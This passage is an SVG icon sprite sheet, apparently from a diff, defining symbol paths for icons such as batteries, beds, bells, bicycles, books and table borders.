d="M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z"></path> + </symbol> + <symbol id="battery-empty" viewBox="0 0 640 512"> + <path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z"></path> + </symbol> + <symbol id="battery-full" viewBox="0 0 640 512"> + <path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z"></path> + </symbol> + <symbol id="battery-half" viewBox="0 0 640 512"> + <path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z"></path> + </symbol> + <symbol id="battery-quarter" viewBox="0 0 640 512"> + <path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z"></path> + </symbol> + <symbol id="battery-three-quarters" viewBox="0 0 640 512"> + <path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z"></path> + </symbol> + <symbol id="bed" viewBox="0 0 640 512"> + <path d="M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z"></path> + </symbol> + <symbol id="beer" viewBox="0 0 448 512"> + <path d="M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z"></path> + </symbol> + <symbol id="bell" viewBox="0 0 448 512"> + <path d="M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"></path> + </symbol> + <symbol id="bell-slash" viewBox="0 0 640 512"> + <path d="M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"></path> + </symbol> + <symbol id="bezier-curve" viewBox="0 0 640 512"> + <path d="M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="bible" viewBox="0 0 448 512"> + <path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"></path> + </symbol> + <symbol id="bicycle" viewBox="0 0 640 512"> + <path d="M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z"></path> + </symbol> + <symbol id="biking" viewBox="0 0 640 512"> + <path d="M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z"></path> + </symbol> + <symbol id="binoculars" viewBox="0 0 512 512"> + <path d="M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z"></path> + </symbol> + <symbol id="biohazard" viewBox="0 0 576 512"> + <path d="M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"></path> + </symbol> + <symbol id="birthday-cake" viewBox="0 0 448 512"> + <path d="M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z"></path> + </symbol> + <symbol id="blender" viewBox="0 0 512 512"> + <path d="M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z"></path> + </symbol> + <symbol id="blender-phone" viewBox="0 0 576 512"> + <path d="M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="blind" viewBox="0 0 384 512"> + <path d="M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z"></path> + </symbol> + <symbol id="blog" viewBox="0 0 512 512"> + <path d="M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z"></path> + </symbol> + <symbol id="bold" viewBox="0 0 384 512"> + <path d="M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z"></path> + </symbol> + <symbol id="bolt" viewBox="0 0 320 512"> + <path d="M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z"></path> + </symbol> + <symbol id="bomb" viewBox="0 0 512 512"> + <path d="M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z"></path> + </symbol> + <symbol id="bone" viewBox="0 0 640 512"> + <path d="M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z"></path> + </symbol> + <symbol id="bong" viewBox="0 0 448 512"> + <path d="M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z"></path> + </symbol> + <symbol id="book" viewBox="0 0 448 512"> + <path d="M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z"></path> + </symbol> + <symbol id="book-dead" viewBox="0 0 448 512"> + <path d="M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z"></path> + </symbol> + <symbol id="book-medical" viewBox="0 0 448 512"> + <path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z"></path> + </symbol> + <symbol id="book-open" viewBox="0 0 576 512"> + <path d="M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z"></path> + </symbol> + <symbol id="book-reader" viewBox="0 0 512 512"> + <path d="M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z"></path> + </symbol> + <symbol id="bookmark" viewBox="0 0 384 512"> + <path d="M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z"></path> + </symbol> + <symbol id="border-all" viewBox="0 0 448 512"> + <path d="M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z"></path> + </symbol> + <symbol id="border-none" viewBox="0 0 448 512"> + <path d="M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 